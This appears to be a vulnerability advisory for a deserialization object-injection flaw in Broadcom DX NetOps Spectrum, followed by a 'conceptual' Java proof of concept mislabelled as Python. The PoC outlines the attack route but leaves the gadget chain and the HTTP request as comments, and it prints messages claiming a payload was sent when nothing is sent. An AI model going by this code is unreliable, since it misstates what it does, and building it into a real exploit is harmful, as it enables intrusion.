Deserialization of Untrusted Data vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows Object Injection.This issue affects DX NetOps Spectrum: 24.3.13 and earlier.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Broadcom DX NetOps Spectrum <= 24.3.13 (Windows)
Broadcom DX NetOps Spectrum <= 24.3.13 (Linux)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import java.io.*;
/**
* CVE-2025-69276 PoC - Broadcom DX NetOps Spectrum Deserialization Object Injection
* This is a conceptual PoC demonstrating the deserialization vulnerability
*
* Note: This PoC requires specific gadget chain knowledge for the target environment.
* The actual exploitation depends on available classes in the Spectrum application.
*/
public class CVE_2025_69276_PoC {
public static byte[] generateMaliciousPayload() {
// This is a placeholder for the actual malicious serialized object
// In a real attack, this would contain a gadget chain payload
// specific to Broadcom DX NetOps Spectrum environment
try {
// Example gadget chain construction (pseudo-code)
// The actual payload would use available classes in the Spectrum classpath
// such as common Apache Commons Collections or Spring framework gadgets
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
// Construct malicious object for object injection
// oos.writeObject(setupGadgetChain());
return bos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static void sendExploit(String targetUrl, byte[] payload) {
try {
// HTTP request to trigger deserialization vulnerability
// POST /spectrum/restful/endpoint HTTP/1.1
// Content-Type: application/x-java-serialized-object
// ... payload bytes ...
System.out.println("[*] Sending malicious payload to: " + targetUrl);
System.out.println("[+] Payload length: " + payload.length + " bytes");
System.out.println("[!] This PoC is for educational purposes only");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
if (args.length < 1) {
System.out.println("Usage: java CVE_2025_69276_PoC <target_url>");
System.out.println("Example: java CVE_2025_69276_PoC http://target:8080");
System.exit(1);
}
String target = args[0];
byte[] payload = generateMaliciousPayload();
if (payload != null) {
sendExploit(target, payload);
}
}
}